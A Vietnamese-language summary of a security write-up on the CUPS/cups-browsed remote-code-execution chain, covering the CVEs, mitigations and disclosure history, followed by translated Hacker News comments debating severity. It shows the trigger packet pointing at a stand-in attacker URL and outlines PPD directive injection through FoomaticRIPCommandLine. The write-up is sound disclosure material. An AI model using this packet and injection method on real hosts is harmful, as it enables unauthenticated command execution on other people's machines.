Tấn công hệ thống UNIX thông qua CUPS

 (evilsocket.net)
1 điểm bởi GN⁺ 2024-09-27 | 1 bình luận | Chia sẻ qua WhatsApp
  • Khi đường dẫn tự động phát hiện máy in của CUPS kết hợp với việc thiếu xác thực thuộc tính IPP, kẻ tấn công từ xa không cần xác thực có thể chèn cấu hình máy in độc hại và thậm chí dẫn tới thực thi lệnh tùy ý khi in
  • Điểm khởi đầu của cuộc tấn công là hành vi cups-browsed nhận gói từ nguồn bất kỳ trên cổng UDP 631 rồi gửi yêu cầu IPP Get-Printer-Attributes tới URL của kẻ tấn công
  • Các lỗ hổng được chia thành CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177, kéo dài tới quá trình tạo PPD của libcupsfilters, libppd, cups-filters và luồng thực thi foomatic-rip
  • Phạm vi ảnh hưởng bao trùm hầu hết các bản phân phối GNU/Linux, một số BSD, Oracle Solaris, và có khả năng cả Chromium/ChromeOS; trong các đợt quét IPv4 công khai đã quan sát thấy callback từ hàng trăm nghìn thiết bị và tối đa 200.000–300.000 client đồng thời
  • Về thực tiễn, nên vô hiệu hóa hoặc gỡ bỏ cups-browsed nếu không cần, đồng thời cập nhật các gói CUPS; nếu khó cập nhật, cần cân nhắc chặn UDP 631 và, khi cần, cả lưu lượng DNS-SD

Cốt lõi của chuỗi lỗ hổng

  • Chuỗi này bắt đầu từ tính năng tự động phát hiện máy in của CUPS, rồi đi qua xử lý thuộc tính IPP, tạo tệp PPD và thực thi filter
  • Các lỗ hổng chính khớp với nhau qua bốn bước
    • CVE-2024-47176: cups-browsed 2.0.1 trở xuống bind vào UDP INADDR_ANY:631, tin tưởng các gói từ nguồn tùy ý và kích hoạt yêu cầu IPP Get-Printer-Attributes tới URL do kẻ tấn công kiểm soát
    • CVE-2024-47076: cfGetPrinterAttributes5 trong libcupsfilters 2.1b1 trở xuống chuyển các thuộc tính nhận từ máy chủ IPP vào hệ thống CUPS mà không kiểm chứng hay làm sạch
    • CVE-2024-47175: ppdCreatePPDFromIPP2 trong libppd 2.1b1 trở xuống ghi các thuộc tính IPP vào tệp PPD tạm mà không kiểm chứng hay làm sạch, cho phép chèn dữ liệu do kẻ tấn công kiểm soát
    • CVE-2024-47177: foomatic-rip trong cups-filters 2.0.1 trở xuống cho phép thực thi lệnh tùy ý thông qua tham số FoomaticRIPCommandLine trong PPD

Điểm xâm nhập và phạm vi ảnh hưởng

  • Kẻ tấn công từ xa không cần xác thực có thể âm thầm đổi URL IPP của máy in hiện có thành URL độc hại hoặc khiến hệ thống cài một máy in mới
  • Việc thực thi lệnh thực tế xảy ra khi một tác vụ in được bắt đầu trên máy tính đó
  • Có hai điểm xâm nhập
    • WAN / Internet công khai: kẻ tấn công từ xa gửi gói tới cổng UDP 631, không cần xác thực
    • LAN: kẻ tấn công cục bộ giả mạo quảng bá zeroconf, mDNS, DNS-SD để đi tới RCE qua cùng đường dẫn mã
  • CUPS và cups-browsed được đóng gói trên nhiều hệ thống họ UNIX
  • Kết quả quét toàn bộ dải IPv4 Internet công khai nhiều lần mỗi ngày trong vài tuần cho thấy sau khi gửi gói UDP, hàng trăm nghìn thiết bị đã callback, với đỉnh quan sát được lên tới 200.000–300.000 client đồng thời

Đường dẫn do cups-browsed mở ra

  • Trên một laptop Ubuntu, khi chạy netstat -anu, phát hiện một cổng UDP đang lắng nghe tại 0.0.0.0:631
  • Kiểm tra bằng lsof -i :631 cho thấy TCP 631 do cupsd sử dụng, còn UDP 631 do cups-browsed sử dụng
  • Trong ps aux, tiến trình cups-browsed xuất hiện đang chạy với quyền root
  • cups-browsed là một phần của hệ thống CUPS, có vai trò phát hiện máy in mới và tự động thêm vào hệ thống
  • Kiểm tra mã nguồn cho thấy dịch vụ bind vào INADDR_ANY:631 UDP và mong đợi gói UDP theo định dạng HEX_NUMBER HEX_NUMBER TEXT_DATA
  • Khi tệp cấu hình mặc định phần lớn ở trạng thái bị comment, hạn chế truy cập trên thực tế trở nên yếu

Vấn đề phân tích cú pháp và các lỗi bổ sung

  • Bản thân gói CUPS có trong oss-fuzz, nhưng cups-browsed dường như không có coverage fuzzing
  • Khi tạo target fuzzing dựa trên AFL quanh process_browse_data, 5 input đã kích hoạt stack-buffer-overflow
  • Nguyên nhân được chỉ ra là luồng trong đó con trỏ bị dereference trước khi kiểm tra điều kiện kết thúc ở hai vòng lặp
  • Sau đó, tại điểm xử lý khóa, cũng phát hiện race condition và khả năng DoS
  • Các vấn đề này đã được báo cáo cho nhà phát triển và CERT, nhưng theo tiêu chí của nhà nghiên cứu thì chúng chưa được công nhận hoặc vá

Yêu cầu IPP và chèn PPD

  • found_cups_printer xử lý một trong các trường văn bản được phân tích từ gói UDP như một URL
  • URL này và dữ liệu liên quan đi qua luồng examine_discovered_printer_record, create_remote_printer_entry, rồi dẫn tới lời gọi cfGetPrinterAttributes của libcupsfilters
  • Nếu kẻ tấn công gửi gói dạng 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever, cups-browsed của mục tiêu sẽ kết nối tới URL của kẻ tấn công
  • Khi kết nối, header User-Agent chứa phiên bản kernel và kiến trúc; trong một số yêu cầu còn báo cả tên người dùng của mục tiêu
  • Internet Printing Protocol là giao thức truyền thông giữa client và máy in hoặc print server, được dùng để truy vấn trạng thái máy in, gửi tác vụ in, v.v.
  • Hệ thống mục tiêu nhận diện máy chủ của kẻ tấn công như một máy in và gửi yêu cầu Get-Printer-Attributes được đóng gói bên trong HTTP
  • Khi phản hồi bằng các thuộc tính có thể kiểm soát thông qua gói Python ippserver, máy in giả được thêm vào máy in cục bộ mà không có thông báo cho người dùng

PPD và đường dẫn thực thi foomatic-rip

  • Nhật ký debug cho thấy quá trình tạo hàng đợi máy in, tạo tệp PPD tạm, sử dụng và chỉnh sửa PPD
  • Hàm create_queue chuyển các thuộc tính IPP vào API ppdCreatePPDFromIPP2 của libppd
  • ppdCreatePPDFromIPP2 ghi các thuộc tính văn bản do kẻ tấn công kiểm soát, như printer-make-and-model, vào tệp PPD mà không kiểm chứng hay escape
  • Tệp PostScript Printer Description là tệp văn bản mô tả chức năng và khả năng của máy in, đóng vai trò chỉ định tính năng và cách sử dụng máy in trong CUPS
  • Trong nhiều directive của PPD, cupsFilter2, một phần mở rộng của CUPS, có thể chạy các tệp thực thi dưới /usr/lib/cups/filter làm filter khi có tác vụ in
  • foomatic-rip được xử lý như một filter có thể thực thi lệnh thông qua directive FoomaticRIPCommandLine trong PPD
  • Trước đây foomatic-filters từng có các bản sửa liên quan đến CVE-2011-2964 và CVE-2011-2697, nhưng được xác nhận là các bản sửa đó không được port trong quá trình tích hợp CUPS
  • Trong CVE-2024-35235 gần đây hơn cũng có nhắc tới thực thi lệnh tùy ý thông qua FoomaticRIPCommandLine
  • Theo giải thích từ phía nhà phát triển CUPS, việc giới hạn nội dung có thể cung cấp cho FoomaticRIPCommandLine là rất khó nếu không làm hỏng các driver hiện có, và có khả năng hàng trăm mẫu máy in cũ trước năm 2010 chỉ phụ thuộc vào Foomatic

Luồng tái hiện RCE

  • Chuỗi RCE gồm ba bước
    • Khiến hệ thống mục tiêu kết nối tới máy chủ IPP độc hại của kẻ tấn công
    • Trả về chuỗi thuộc tính IPP do kẻ tấn công kiểm soát để chèn directive vào tệp PPD tạm
    • Khi tác vụ in được gửi tới máy in giả, directive PPD và lệnh được thực thi
  • Trong cấu hình máy chủ IPP, việc thực thi lệnh được thiết lập bằng cách đóng chuỗi PPD, chèn dòng mới, rồi thêm các directive FoomaticRIPCommandLine và cupsFilter2
  • Mục tiêu demo là Ubuntu 24.04.1 LTS và cups-browsed 2.0.1 đã được vá đầy đủ, và đã đạt được thực thi lệnh trên máy của kẻ tấn công
  • Luồng này chỉ hình thành khi nhiều giai đoạn xử lý trong cups-browsed, libcupsfilters, libppd, cups-filters cùng khớp với nhau

Giảm thiểu và khuyến nghị

  • Nếu không cần cups-browsed, khuyến nghị vô hiệu hóa dịch vụ và gỡ bỏ nó
  • Cần cập nhật các gói CUPS trên hệ thống
  • Nếu không thể cập nhật và vẫn cần dịch vụ này, cần chặn lưu lượng UDP 631
  • Tùy tình huống cũng có thể chặn lưu lượng DNS-SD, nhưng việc áp dụng có thể khó trong môi trường sử dụng zeroconf
  • Nhà nghiên cứu cho biết, như một khuyến nghị cá nhân, họ đã gỡ bỏ dịch vụ, binary và thư viện CUPS khỏi hệ thống của mình và sẽ không in từ hệ thống UNIX
  • Họ cũng nói thêm rằng sẽ gỡ bỏ cả các listener zeroconf, Avahi, Bonjour

Quá trình công bố và công việc tiếp theo

  • Bản thân nghiên cứu mất vài ngày, nhưng sau khi mở security advisory trên kho OpenPrinting cups-browsed vào ngày 5/9 và bắt đầu công bố có trách nhiệm, đã mất 22 ngày cho tới khi công khai
  • Các thảo luận liên quan tiếp tục qua các security advisory của cups-browsed, libcupsfilters, libppd, cups-filters
  • Nghiên cứu mất 2 ngày, exploit hoạt động gồm 249 dòng; trong quá trình công bố đã có tranh luận, email, tin nhắn và hơn 100 trang văn bản qua lại
  • Về tranh cãi điểm CVSS 9.9, điểm 9.9 ban đầu được giải thích là giá trị do một kỹ sư RedHat ước tính trong báo cáo VINCE và được một kỹ sư khác rà soát
  • Nhà nghiên cứu cho rằng điểm 9.9 ban đầu xuất hiện vì RCE dễ bị khai thác và phạm vi hiện diện của package rộng, nhưng nói thêm rằng xét về mức độ ảnh hưởng thì bản thân họ sẽ không phân loại là 9.9
  • Họ cho biết báo cáo Markdown chính xác và exploit chỉ chia sẻ với CERT VINCE đã bị rò rỉ
  • exploit.py ban đầu chỉ gửi gói UDP và tạo máy chủ IPP độc hại, nhưng về sau được bổ sung chức năng quảng bá zeroconf và trở thành công cụ hoàn chỉnh hơn
  • Sau đó họ viết lại bằng Go, tích hợp vào bettercap, đồng thời bổ sung chức năng giả mạo minh bạch các dịch vụ được quảng bá bằng zeroconf, Bonjour, Avahi trên LAN và xử lý liên quan tới IPP
  • Bài tiếp theo dự kiến sẽ nói về việc tấn công Apple macOS bằng module bettercap chưa công khai, nhưng lịch trình chưa xác định do các quy trình công bố khác

Bài viết liên quan

1 bình luận

 
GN⁺ 2024-09-27
Ý kiến trên Hacker News

  • Tôi cứ tưởng đây là trò đùa. Nội dung là “kẻ tấn công từ xa chưa xác thực có thể thay đổi IPP URL của máy in hiện có thành URL độc hại hoặc cài mới, từ đó có thể thực thi lệnh tùy ý khi một tác vụ in được bắt đầu trên máy tính đó”, nhưng Heartbleed được 7.5 mà cái này là 9.9 thì có vẻ không thể nào
    Tweet gốc nói là “thực thi mã từ xa chưa xác thực trên mọi hệ thống GNU/Linux, v.v.”, nhưng thực tế trên nhiều bản phân phối, CUPS chỉ bind vào loopback hoặc thậm chí không được cài đặt
    Ngoài ra còn nói rằng họ đã quét toàn bộ IPv4 công khai nhiều lần mỗi ngày trong vài tuần và nhận callback từ hàng trăm nghìn thiết bị; nếu tôi hiểu đúng thì nghĩa là trên toàn bộ IPv4 công khai có khoảng 300 nghìn instance CUPS đang mở, và để thực thi mã từ xa xảy ra thì máy chủ CUPS đó phải nhận tác vụ in, nên phần lớn có lẽ sẽ không như vậy

    • Đọc bài thì đúng là khá tệ, nhưng nó giống chuyện bản thân daemon cups-browsed nên bị loại bỏ hơn, và hệ sinh thái Linux cần nghiêm túc thảo luận về tương lai của CUPS
      Các bug trông đơn giản đến đáng ngạc nhiên, và rốt cuộc đây là một vấn đề bảo mật khá nghiêm trọng, nhưng cách phản ứng upstream thì không đạt mức có thể kỳ vọng từ một gói Linux desktop được cài mặc định
      Dù vậy, chắc chắn đây không phải kiểu hoảng loạn CVSS 9.9 đến mức làm cả thế giới dừng lại
    • Công bằng mà nói, tác giả cũng đã nói “tôi sẽ không phân loại là 9.9 theo tiêu chí mức độ ảnh hưởng, nhưng thật ra tôi thì biết gì chứ”
    • Cũng có buffer overflow có thể bị khai thác mà không cần hành động của người dùng. Nhánh foomatic cần tác vụ in chỉ là một trong những đường dễ quét và khai thác nhất mà thôi
    • Tôi đã cười lớn với meme “Look at me, I'm the printer now”. Bất kể đánh giá mức độ nghiêm trọng ra sao, ít nhất cũng vớt được một câu đùa thật sự hay
    • Heartbleed là rò rỉ bộ nhớ, còn đây là thực thi mã từ xa hoàn chỉnh không cần hành động của người dùng. Thực thi mã từ xa đương nhiên đồng nghĩa với rò rỉ toàn bộ thông tin và hơn thế nữa
      Chính xác hơn, cơ chế là việc thực thi bị trì hoãn cho đến lần sau khi người dùng in bằng máy in của họ với cấu hình máy in đã bị kẻ tấn công thay đổi, và lỗ hổng nằm ở cupsd-browser chứ không phải cupsd
      Có thể có vấn đề với thái độ của tác giả, nhưng bản thân lỗ hổng này đúng là chuyện rất lớn

  • Người để CUPS lộ ra Internet thì đã ở mức vô tâm đến nỗi CVE cũng không chạm tới được

    • Dịch vụ dễ bị tấn công nói trên có vẻ đang lắng nghe trên 0.0.0.0, và điều này đáng lo. Nghĩa là mặc định nó dễ bị tấn công trong LAN, và nếu máy chủ lộ ra Internet thì phải chặn rõ ràng cổng 631
      Tất nhiên để kích hoạt thì người dùng phải in thứ gì đó, và cá nhân tôi hình như chưa từng in gì trên Linux, nhưng tuyên bố nhận được callback từ hàng trăm nghìn máy Linux nghe cũng có lý
    • Trong trường hợp này, “để CUPS lộ ra Internet” nghe giống như “chạy một desktop Linux có kết nối Internet”. Tôi thì không làm, nhưng cũng chưa đến mức điên rồ, và người ta sẽ kỳ vọng một bản cài đặt Debian desktop mặc định vẫn đủ an toàn ngay cả khi không có firewall
      Ít nhất tôi nghĩ laptop Linux không nên trở nên cực kỳ dễ bị tấn công bởi mọi thiết bị khác ở những nơi như Wi‑Fi sân bay
    • Ai đến quán cà phê dùng Wi‑Fi công cộng thì coi như đang để lộ CUPS và có thể bị khai thác. Gạt phăng đi đơn giản như vậy chẳng giúp ích cho ai
    • Thật vô lý là CUPS không chạy như một chương trình người dùng được sandbox mạnh, mà lại chạy như một system daemon
    • Dù vậy, với di chuyển ngang và leo thang đặc quyền thì đây là một chiến thắng trọn vẹn

  • Tùy cách diễn giải chỉ số Scope của CVSSv3, chính xác hơn có vẻ là 8.8 hoặc 9.6
    Tóm lại, trên một số biến thể Linux desktop, CUPS lộ trong LAN chạy trên 0.0.0.0, chạy dưới quyền root, và dễ bị thực thi mã từ xa chưa xác thực. Trên phần lớn Linux hướng máy chủ như Ubuntu Server hay CentOS, đây không phải dịch vụ mặc định, nhưng trên đa số Linux dòng desktop thì có vẻ nó được khởi động mặc định
    Để kích hoạt thực thi mã từ xa, người dùng của máy Linux dễ bị tấn công phải in tài liệu sau khi bị khai thác
    evilsocket nói đã nhận hàng trăm nghìn callback, và dù phần lớn chúng ta gần như không in trên Linux, mức ảnh hưởng đó vẫn có thể đủ để tạo ra một botnet lớn

    • Ở các trường đại học có rất nhiều người dùng desktop Linux có IP công khai và liên tục in, dù là bài báo, bài viết của mình hay của người khác
    • Thị phần desktop Linux, ngay cả khi không tính ChromeOS, cũng khoảng 4.5%. Dù đa số chúng ta không in, lượng tác vụ in đi ra từ các host Linux chắc vẫn khá nhiều
    • Heartbleed là 7.5 và chỉ thấp hơn vụ xz có 0.4 điểm, nên tôi không hiểu sao cái này có thể là 9.6

  • Tôi đang để cupsd mở ra Internet nên hơi hoảng khi nghe tin, nhưng như tiêu đề ở đây, vấn đề này cũng có phần bị truyền đạt sai. Vấn đề không nằm ở cupsd cốt lõi, mà ở cups-browsed, một package/component riêng
    Gentoo Linux mà tôi dùng cho server cung cấp cups-browsed dưới dạng package riêng, và vì tôi không cài nên không bị ảnh hưởng. Phần lớn người dùng CUPS không cài package bổ sung này cũng không bị ảnh hưởng bởi bug này
    Nói rằng mọi hệ thống chạy CUPS đều có thể bị hack là diễn đạt sai quy mô

    • Debian vốn khá bảo thủ, vậy mà mỗi khi cài cups thì thường cups-browsed được kéo theo mặc định, điều đó luôn khiến tôi không hài lòng. Có vẻ “no install recommends” giải quyết được, nhưng theo trí nhớ thì các driver bổ sung như hplip đôi khi lại kéo nó vào
      Ở nhà tôi chỉ tắt dịch vụ đi, nhưng càng ngày càng bực khi ngày càng nhiều phần mềm vượt quá phạm vi và biến những component đáng lẽ là tùy chọn thành thứ như bắt buộc
      Một ví dụ tương tự là avahi-daemon. Nếu thử gỡ nó trên Debian/Ubuntu desktop, rất có thể bạn sẽ bị gỡ kèm cả những phần mềm khác mà bạn sẽ tự hỏi vì sao avahi lại phải là dependency mạnh của chúng

  • Có thể hiểu phần nói rằng “quá nhiều thứ được kỳ vọng và coi là hiển nhiên ở các nhà nghiên cứu, vì những triager hành xử theo kiểu nhà nghiên cứu bảo mật như bạn phải ‘chứng minh là đáng được lắng nghe’”, nhưng thực tế đáng tiếc cũng tồn tại
    Cứ mỗi báo cáo được nghiên cứu kỹ như thế này lại có tới 57 báo cáo spam chất lượng thấp nhằm moi tiền thưởng bug bounty hoặc ghi thêm việc phát hiện CVE vào CV. Đặc biệt khi LLM ngày càng phổ biến, loại spam đó rất dễ đánh lừa
    Đây là tình huống đáng buồn, nhưng cũng khó có thể hoàn toàn trách các nhà phát triển vì họ hoài nghi

  • Tóm lại, cups-browsed lắng nghe cổng UDP 631 và có thể tự động cài đặt máy in mà không cần xác nhận của người dùng
    Kẻ tấn công lợi dụng “tính năng” này để cài một máy in giả kèm driver tùy chỉnh có thể tải xuống từ một host tùy ý mà không cần xác nhận của người dùng, rồi chỉ định lệnh sẽ chạy khi một tác vụ in được gửi đi
    Khi người dùng in thứ gì đó bằng máy in giả đó, lệnh kia sẽ được thực thi

    • CUPS được giới thiệu vào năm 1999, nên có lẽ khi đó việc tự động cài đặt không cần xác nhận người dùng còn hợp lý. Nhưng không hiểu vì sao đến nay nó vẫn còn tồn tại

  • Trong trường hợp này có vẻ các bản phân phối đã đưa cups-browsed vào như một tính năng, nhưng tôi luôn thấy việc Ubuntu/Debian và có lẽ mọi bản phân phối dựa trên deb tự động bật gần như mọi dịch vụ khi cài đặt là điều tệ
    Nghĩa là chỉ vì cài một gói, một dịch vụ mạng khác được cài theo dưới dạng phụ thuộc có thể vô tình bị mở ra
    exim4 thì chắc ai cũng biết rồi, nhưng công bằng mà nói, mặc định nó chỉ lắng nghe localhost nên có thể không phải vấn đề lớn. Tôi vừa thử cài cups-browsed trên một máy Debian thì thấy có hai dịch vụ (cups-browsed và avahi) lắng nghe trên 0.0.0.0 được bật lên
    Trên các bản phân phối họ Arch/Gentoo và CentOS thì không như vậy

  • Điểm CVSS gốc đăng trên Twitter ghi là không cần tương tác người dùng. Nhưng khi đọc chuỗi thực thi mã từ xa trên trang đó thì có đoạn “chờ một tác vụ in được gửi tới máy in giả để chỉ thị PPD và lệnh đi kèm được thực thi”
    Nếu Alice không nhấn nút in thì có vẻ tác vụ in sẽ không được kích hoạt, nên tôi thắc mắc không biết mình đang bỏ sót gì. Không phải nghi ngờ evilsocket, mà là muốn kiểm tra lại cách hiểu của mình

    • Cũng có buffer overflow được tìm ra bằng fuzzer, và lỗi này có thể dẫn tới thực thi mã từ xa mà không cần tương tác người dùng. Tuy vậy tác giả không đủ chuyên môn trong lĩnh vực này để tạo exploit thực tế
    • Còn tùy định nghĩa “tương tác” là gì. Theo tôi hiểu thì Alice không cần in tài liệu do kẻ tấn công cung cấp, chỉ cần in bất kỳ thứ gì là đủ

  • Mỗi lần phải in thứ gì đó trên MacOS, tôi lại nhớ mình ghét máy in và phần mềm liên quan đến máy in đến mức nào. Tôi đã dùng máy tính 40 năm, và thật sự là cứ mỗi 10 năm máy in lại càng rắc rối hơn

    • Thú vị là phong trào FSF phần lớn bắt đầu từ việc Stallman khó chịu với chất lượng driver máy in. Vậy mà vì lý do nào đó, trong 40 năm phong trào ấy lại không cải thiện rõ rệt được chất lượng phần mềm liên quan đến máy in
    • Tôi đã viết mã cho máy in hơn 10 năm. Tôi hiểu các vấn đề kỹ thuật khó đến mức nào, nhưng các nhà cung cấp còn làm tình hình tệ hơn nhiều. Máy in thật đáng ghét, và tôi cho rằng thời LaserJet III là đỉnh cao
    • Tôi cảm thấy máy in đã tốt hơn nhiều so với 10 năm trước. Ít nhất trên MacOS và iOS, tôi không gặp vấn đề gì khi tìm máy in và in. 10 năm trước thì là cực hình, còn giờ theo tiêu chuẩn của tôi là mượt mà, và cũng không cần cài driver
    • Tin mới nhất: HP đang thêm AI vào driver máy in. Không đùa đâu: https://hardware.slashdot.org/story/24/09/27/0030239/hp-is-a...
    • Dù mất khả năng điều khiển tác vụ, nhưng nếu chuyển tài liệu sang PostScript rồi dùng netcat gửi tới cổng máy in thì hoạt động tốt
      pdf2ps - | nc 9001